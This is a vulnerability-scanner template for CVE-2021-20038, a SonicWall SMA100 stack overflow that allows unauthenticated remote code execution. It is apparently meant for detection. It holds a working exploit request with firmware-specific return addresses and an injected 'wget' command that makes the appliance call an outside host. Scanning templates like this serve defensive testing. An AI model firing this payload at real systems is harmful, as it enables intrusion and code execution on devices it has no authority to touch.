id: CVE-2021-20038

info:
  name: SonicWall SMA100 Stack BoF to Unauthenticated RCE
  author: dwisiswant0, jbaines-r7
  severity: critical
  description: |
    A Stack-based buffer overflow vulnerability in SMA100
    Apache httpd server's mod_cgi module environment variables
    allows a remote unauthenticated attacker to potentially
    execute code as a 'nobody' user in the appliance.
    This vulnerability affected SMA 200, 210, 400, 410 and 500v
    appliances firmware 10.2.0.8-37sv, 10.2.1.1-19sv,
    10.2.1.2-24sv and earlier versions.
  reference:
    - https://attackerkb.com/topics/QyXRC1wbvC/cve-2021-20038/rapid7-analysis
  tags: cve,cve2021,overflow,rce,sonicwall
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-20038
    cwe-id: CWE-787

requests:
  - raw:
      - |
        GET /{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};{{prefix_addr}}{{system_addr}};{wget,http://{{interactsh-url}}};?{{repeat("A", 518)}} HTTP/1.1
        Host: {{Hostname}}

    attack: clusterbomb
    payloads:
      prefix_addr:
        - "%04%d7%7f%bf%18%d8%7f%bf%18%d8%7f%bf"  # stack's top address
      system_addr:
        - "%08%b7%06%08"  # for 10.2.1.2-24sv
        - "%64%b8%06%08"  # for 10.2.1.1-1[79]sv

    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the HTTP Interaction
        words:
          - "http"